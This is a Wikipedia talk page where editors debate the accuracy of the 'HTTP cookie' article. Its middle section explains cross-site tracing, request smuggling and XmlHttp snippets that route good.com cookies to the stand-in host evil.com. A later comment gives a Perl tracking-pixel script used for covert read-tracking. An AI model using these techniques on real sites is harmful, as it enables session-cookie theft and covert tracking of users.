Talk:HTTP cookie

Template:V0.5

Default value for path?

The article says: " If not specified, they default to the domain and path of the object that was requested." Other sources say the default value for the path is "/". The sentence is also inconsistent with the example in the paragraph above. Can someone confirm or disconfirm? —Preceding unsigned comment added by Weinzierl (talk • contribs) 02:01, 25 January 2009 (UTC)

Contradicting REST?

This section below implies REST requires reversible state, and that the "back button" should reverse resource state. Does anybody have a citation that supports these claims? A better example is a multi-step form. If they are on step 5 and press the "back button" they should be able to return to step 4. However, these doesn't necessarily reverse form state. The form might still have fields in step 5 that persist with user data. This doesn't violate REST and reduces the amount of data a user needs to re-enter.

"As an example, if the shopping cart of an online shop is realized using cookies, the content of the cart may not change when the user goes back in the browser's history: if the user presses a button to add an item in the shopping cart and then clicks on the "Back" button, the item remains in the shopping cart. This might not be the intention of the user, who possibly wanted to undo the addition of the item. This inconsistency contradicts the principles of Representational State Transfer (REST), and can lead to unreliability, confusion and bugs." — Preceding unsigned comment added by 128.48.204.175 (talk • contribs) 16:28, 11 July 2007 (UTC)

Indeed, a citation would be in order. If not provided, I'd remove that statement. Tizio 11:48, 12 July 2007 (UTC)

Small correction

Ok first time i edit a page and add a comment but there was a mistake in the "Implementation section" where it was written that the server first send "Set-Cookie: name=value\nContent-type: text/html\n\n", the fact is, and we clearly see it on "example of an HTTP response from google.com, which sets a cookie with attributes" that the server first send the "Content-type: ..." and after the "Set-cookie : ..." line.

Removed from article

I removed this:

Another drawback of query strings has to do with the way the Web was designed. URLs should point to resources and be "opaque". See Representational_State_Transfer. If you have a URL that includes a query string, it is not the actual location of the resource.

This seems to imply that query strings are not to be used altogether, not that they cannot be used in place of cookies. Is this correct? Please clarify and/or provide citations. Tizio 16:04, 17 November 2006 (UTC)

HttpOnly

Found this list of browser supporting this feature http://greebo.net/?p=364 as of August 2006. It's not a good idea to specify this in the article yet, since it appears that this list would change over time. Tizio 17:01, 17 November 2006 (UTC)

Break out "alternatives" section into another article?

I'm wondering if the "Alternatives" section should be broken out into another article, possibly combining it with parts of web bugs, internet privacy, e-mail tracking, website tracking, etc. While cookies are still very common, they really have become just one of many tracking techniques which all have very similar privacy problems. Wrs1864 21:51, 19 December 2006 (UTC)

Website tracking seems unrelated, as far as I can see. But I see your point. Just do not restrict to tracking, since actually what is done is to create state information that is maintained across different HTTP exchanges. Any idea as for the name that article should have? Tizio 14:46, 20 December 2006 (UTC)

Still better, you may start creating that other article (possibly taking material from this and the other articles you mentioned); we will then see how to summarize the "alternatives" section in this article. Tizio 15:08, 20 December 2006 (UTC)

Inadequate example?

The following is given as a practical example of "persistent cookies": "If the cookie setter does not specify a date, the cookie is removed once the user quits his or her browser. As a result, specifying a date is a way for making a cookie survive across sessions. For this reason, cookies with an expiration date are called persistent. As an example application, a shopping site can use persistent cookies to store the items users have placed in their basket. This way, if users quit their browser without making a purchase and return later, they don't have to find the products they previously placed in the shopping cart over again." Am I missing something, or does this example apply to non-persistent cookies too, and thus makes a poor choice for distinguishing between the two? —The preceding unsigned comment was added by 190.48.104.61 (talk) 14:08, 25 January 2007 (UTC).

A non-persistent cookie is one with no expiration date specified, so they expire when the session ends (user quits the browser). Since this part is at the beginning of the article, I added a sentence to say what happens if non-persistent cookies were used in this context. Tizio 14:39, 25 January 2007 (UTC)

Thank you Tizio, but now take a look at the last two sentences of that paragraph. The first one says that you *don't* want to find your items in the basked when you get back. The one you added says that you do want, and that's precisely what persistent cookies are for. The problem seems to be with the first line, or maybe I'm really dense today. --190.48.104.61 17:21, 25 January 2007 (UTC)

Now I get what the problem is. I wasn't the original author of that sentence, but my take has always been that "they don't have to find the products they previously placed in the shopping cart over again" means "they do not have to look around again to fill the shopping cart with the same items". You made me realize that this sentence is also compatible with the opposite interpretation! Tizio 17:55, 25 January 2007 (UTC)

Aahhh that makes sense! It's perfect now :-) --190.48.104.61 21:33, 25 January 2007 (UTC)

Todo

Something to be added to the article, when completed [1]. Tizio 12:30, 27 December 2006 (UTC)

TRACE

A way to circumvent the HttpOnly restriction is to exploit TRACE requests. When an HTTP server receives such a request, it echoes the HTTP header parameters back as a document. As an example, if a server receives the following request:

TRACE / HTTP/1.1
Host: www.example.com
Cookie: thisisacookie    

It may answer with something like the following header and document:

HTTP/1.1 200 OK
Date: Wed, 27 Dec 2006 12:17:20 GMT
Server: Ciccio/2.0.49 (CiccioLinux)
Transfer-Encoding: chunked
Content-Type: message/http

46
TRACE / HTTP/1.1
Host: www.example.com
Cookie: thisisacookie


0

The resulting document contains the header of the request it has received, including the cookies.

A JavaScript program can exploit this fact by sending a TRACE request to a server that serves TRACE requests. When it does it, the browser includes the cookies in the request as usual. While the script does not have access to these cookies directly, it can read them in the resulting document. This attack does not require the script to be present on the same server whose cookies has to be stolen. It however requires this server to support HTTP trace requests [2].

Proxying/Virtual domain

A different kind of cross-side scripting relies on the fact that some servers provide documents that are actually located on sites that are different than the requested one. This happens for proxies and when mutiple sites are hosted on the same server. These attacks do not require the script to be located on either the attacker or the attacked sites.

For the proxy-based attack, a script can pretend to connect to site good.com while the proxy actually send it to evil.com:

XmlHttp.open("GET\thttp://evil.com","http://good.com",false);

This instruction contains a request to the site good.com, including the cookies for good.com. However, the proxy server receives GET\thttp://evil.com, which causes it to sent the whole request, including the cookies, to evil.com.

A similar method employing XmlHttp requires the attacked and attacker sites to be hosted on the same server (virtual hosting). When a script executes the following:

XmlHttp.open("GET","http://good.com",false);
XmlHttp.setRequestHeader("Host","evil.com");

a request for good.com is created. This request includes the header line Host: evil.com. When the server receives this request, it routes it to evil.com, which then receives the cookies intended for good.com. [3]

Request smuggling

Request smuggling exploit different behavior on a proxy and a server when receiving a request with two Content-lenght lines, in particular if the proxy uses one line and the server the other one. In this attack, the browser sends what the browser and proxy believes to be a single request, but the server interprets as two ones. What the browser receives is the concatenation of the results of these two requests from the server:

 Header-1
 Body-1
 Header-2
 Body-2

The browser considers Header-1 as the header and Body-1/Header-2/Body-2 the. As a result, every cookie Header-2 may contain is now in the document, so JavaScript can access it even if HttpOnly was used. [4]

Not always sent by server first

I think this is a very good article, but the first sentence: "HTTP cookies ... are parcels of text sent by a server to a web browser and then sent back unchanged by the browser each time it accesses that server." is slightly misleading: it implies that cookies can only be created on the server and the first cookie movement is always server to client.139.133.7.37 18:27, 30 March 2007 (UTC)

You are indeed right: nothing prevents a piece of, say, js code to create a cookie on the client side. However, I think the server sending the cookie first is by far the most common scenario. Even when the cookie is in a piece of javascript code or similar, it's usually still the server that sends it (even if embedded in the code). The exception you are probably referring is when the js actually calculates (in some way, even randomly) the value of the cookie to send.

Given that, I would rather left the lead as is, or with a minimal change (such as, "cookies are parcels of data exchanged by a web server and browser; they are generally sent by the server to the browser, and handed back by the browser in the following exchanges". Tizio 20:17, 30 March 2007 (UTC)

Still don't understand 3rd party cookies

Having read this article, how does a 3rd party cookie get set by a server when a banner ad is requested: after all this is just a request for an image: no script is being executed on the 3rd party server. 139.133.7.37 18:27, 30 March 2007 (UTC)

The server can execute whatever code it wants when receiving whatever request, including the request of an image. What in the article leads to thinking otherwise? I'm asking so that we could maybe correct the misleading part. Tizio 20:41, 30 March 2007 (UTC)

well as the article says: "The Set-Cookie line is typically not created by the HTTP server itself but by a CGI program." so does the request for the image trigger a CGI program which inserts a cookie into the response headers accompanying the image? I think I'm just confused about the mechanics.139.133.7.37 18:33, 31 March 2007 (UTC)

Just because a URL ends in .gif or .png etc., the server can still invoke another program to serve it (rather than looking for a file). Tizio 08:54, 2 April 2007 (UTC)

So would the cookie typically be sent back in the response headers accompanying the banner image?139.133.7.37 11:04, 6 April 2007 (UTC)

Yes. Tizio 11:29, 6 April 2007 (UTC)

Okay, it's like this: The server receives a request for '/notreallyimages/beacon.gif'. The server has been configured to treat anything in /notreallyimages as a script *regardless of extension* (remember, extensions only really make any difference to Windows, grown-up operating systems have other mechanisms for determining file type). As a result, in the /notreallyimages/ directory there is a perl CGI script that says something like:

use CGI();
my $cgi = new CGI;
my $cookie = $CGI::Cookie->new(-name => 'visitor',
                               -value => $unique_id,
                               -expires => '+20y',
                               -path => '/',
                               -domain => ".$dom");
print $cgi->header(-cookie => $cookie, -type => 'image/gif');
open GIF "/webimages/trans.gif";
print <GIF>;
close GIF;
exit;

Of course, it's really easy, if someone wanted to, to do crap like include a query string, or make a mod_perl handler that deals with ANY request to /notreallyimages/ to run a specific set of code, for instance. That's how spammers sneak crap into emails to validate them (and why not looking at emails that you don't trust is a good idea, or at least not loading images). They can set a cookie, mark your address valid... doesn't even have to be in an obvious way. Perhaps any request to /images/ runs a script that takes the requested image name and maps it to an email address (at which point the name of the image is usually some sort of checksum for the email address itself, plus an extension to make all browsers happier). Luckily, email clients are getting smarter to this sort of rubbish and it's getting harder and harder for the scammerspammers to get anything. But yeah, I've used the same exact technique for another reason -- to determine if someone in a forum on a server that wasn't mine had read a message I'd sent (even works with BBCode at that point) -- and even then to make my website behave differently based on whether thay had or not (like I could send an invitation for a download of something I'd normally sell and not even have to set up login info for them, stuff like that).208.54.15.44 (talk) 02:48, 3 March 2008 (UTC)

window.name is cross browser !

According to the article, window.name doesn't work in Firefox. To my knowledge, it is not true. I use this trick every day, and every browser I've tried are quite happy with it. So window.name is cross-domain AND cross-browser. —The preceding unsigned comment was added by 81.57.178.244 (talk) 09:19, 31 March 2007 (UTC).

Maybe older versions of mozilla/firefox don't support this persistence method. Also, the new reference mention safari, firefox, and ie, which suggests that it doesn't work on every possible browser. Tizio 10:21, 31 March 2007 (UTC)

Odd Comment

Under the Purpose heading in the article there is a comment 'Alex savage likes to eat lot of cookies.' I don't believe it belongs here, but will let someone else make the modification to the article. Robert Peaslee 14:39, 25 April 2007 (UTC)

References Out of Context

In the Realization section, there are two references that should not be included. "Cookie specifications[3][4] suggest that browsers should support a minimal number of cookies or amount of memory for storing them." "Cookie names are case insensitive according to section 3.1 of RFC 2965"

Those quotes were used in the context of this list of web browsers:

   * Firefox 1.5: 50
   * Firefox 2.0: 50
   * Safari 3 public beta
   * Opera 9: 30
   * Internet Explorer 6: 20
   * Internet Explorer 7: 20

This is very misleading because cookies, as defined in [4] RFC 2109 and RFC 2965, are not supported by Firefox or Internet Explorer. Those two browsers only support the obsolete description in [3] Preliminary spec. Miqrogroove 08:05, 24 July 2007 (UTC)

Subjective Phrase in Cookie Poisoning

Under the heading Cookie Poisoning there is this misleading statement, "... all the other information is stored on the server. In this case, the problem of cookie poisoning is largely eliminated." I would say that is not true. Moving information to the server side without additional checks on the cookie value leads to a security flaw called session fixation. As such, cookie poisoning is not at all eliminated. Miqrogroove 08:13, 24 July 2007 (UTC)

Auth Schemes Confused

This paragraph is incorrect:

"As for authentication, the HTTP protocol includes mechanisms, such as the digest access authentication, that allow access to a Web page only when the user has provided the correct username and password. ... In the background, the username and password combination is sent to the server in every browser request. This means that someone listening in on this traffic, can simply read this information and store for later use."

The Digest scheme of HTTP Authentication does not send passwords to the server. Under RFC 2617, Digest responses 'stored for later use' are not valid. "The purpose of this directive is to allow the server to detect request replays... If a directive or its value is improper, or required directives are missing, the proper response is 400 Bad Request." Miqrogroove 08:25, 24 July 2007 (UTC)

Yes, that part ("in the background...") indeed applies to the basic authentication protocol. Tizio 13:02, 24 July 2007 (UTC)

Number of Cookies Supported is not Listed for Safari 3

Even though some commentators have issues with the whole section, the number of cookies supported for Safari 3 is missing:

   * Firefox 1.5: 50
   * Firefox 2.0: 50
   * Safari 3 public beta
   * Opera 9: 30
   * Internet Explorer 6: 20
   * Internet Explorer 7: 20  —Preceding unsigned comment added by Kolenskim (talk • contribs) 20:56, 5 September 2007 (UTC) 

0.9 Mosiac Netscape Release Date

A previous version of the article mentions a Sept. 1994 release date for the 0.9 beta (I think it referenced Kristol's article at footnote 2), which has now been replaced in the article with an Oct. 13, 1994 release date backed by footnotes 18 and 19. I've been told there was an earlier release of the 0.9 beta in the Sept. 94 timeframe, like a limited release to an outside company for testing. Anyone have a footnote worthy article or any other info to back this up?

Patjz1 23:53, 11 October 2007 (UTC)

Security Concerns

After reading this article, I was disappointed that despite being a featured article, it does not touch on any of the recent highly-publicized security and privacy concerns around the use of cookies. I've had a go at rectifying this - please help to expand. Socrates2008 12:02, 7 November 2007 (UTC)

Alternatives (server side sessions)

In the topic "Alternatives to cookies", it is not cited the Java Servlet's "server side sessions".

Replace all images of cookies with text

Turn loading images off on your browser when reading this article and you will see how frustrating it certainly is for some users who can't see images.

Cookies are text items. Just include them in-line, indented with a space! Jidanni (talk) 12:13, 14 February 2008 (UTC)

The only cookie I can see is placed as an image is Image:HTTP-Cookie-Google.png, and it's there mostly for breaking the flow of text (it was used at the beginning of the article because that was required to articles that have to be shown in the main page). The other images contains more than just a cookie. Tizio 12:31, 14 February 2008 (UTC)

Why is expires so stupid?

Does anyone know why they decided on a format like:

Sun, 27-Feb-2028 01:57:10 GMT

for the expiry of a cookie? Why is it neceesary to have to calculate the day of week in English to make a cookie's expiry valid? What moron came up with this idea?

Seriously, wouldn't:

20280227015710

make more sense? Why should it matter to a web browser whether the 13th of December, 1998 is a Saturday, in English?208.54.15.44 (talk) 02:56, 3 March 2008 (UTC)

The format of the date in the original cookie standard conforms to RFC 1123 date format and is used in the same way in other locations within the HTTP 1.0 spec which pre-dated cookies, such as the Date: and Expires: header. Note that subsequent cookie standards define an alternative way to specify date, as a "max-age" in seconds rather than a date. mmj (talk) 04:10, 18 November 2008 (UTC)

The name "cookie"

How did the name "cookie" come about? This should be in the article. Also, some history as to how the concept came to be. Bytebear (talk) 23:55, 24 March 2008 (UTC)

dead link

http://wp.netscape.com/newsref/std/cookie_spec.html (third ref) is a dead link. --Caerbannog (talk) 10:40, 3 August 2008 (UTC)

How about http://web.archive.org/web/20060318102926/wp.netscape.com/newsref/std/cookie_spec.html from Wayback? 194.202.251.35 (talk) 15:27, 4 August 2008 (UTC)

Structured client-side storage

What about Structured client-side storage that has been in Firefox since version 2?--92.229.218.177 (talk) 11:03, 6 August 2008 (UTC)

References need improving

There are many sections of this article that are uncited. Two of the links are dead. Also, there are external links within the body of the article which are not allowed by WP:MOS and WP:EL. Please fix article so it can remain a FA. Regards, —Mattisse (Talk) 00:15, 28 October 2008 (UTC)

Basket section and security

I removed (well, modified) the following section under 'Basket', referring to storing shopping cart contents in a cookie:

This is a very insecure mechanism, because a malicious user can alter the cookie; a much more secure mechanism is to generate a random cookie as under "tracking", and using that as a lookup key in a database stored on the server.

While tampering with cookies by the user is an issue that can cause problems in some applications, this is not one of them. A user tampering with such a cookie would at most be able to add or remove items from their cart. It is not insecure in that the user cannot modify other people's carts or cheat the system in any way. A server would need to validate the cookie to verify that the cookie refers to actual products that are available, but that sort of thing falls under validation of input and is not specifically related to cookies. A server that does not validate its input has security problems in its own right and this is outside the scope of this article. mmj (talk) 01:53, 10 November 2008 (UTC)

how can i stop cookies?

i am afraid

---

please respond

---

Mike881270 (talk) 21:29, 13 November 2008 (UTC) Turn your computer off, or assimilate. Not much else to be done about them. —Preceding unsigned comment added by 75.17.203.11 (talk) 19:17, 14 February 2009 (UTC)

over nine thousand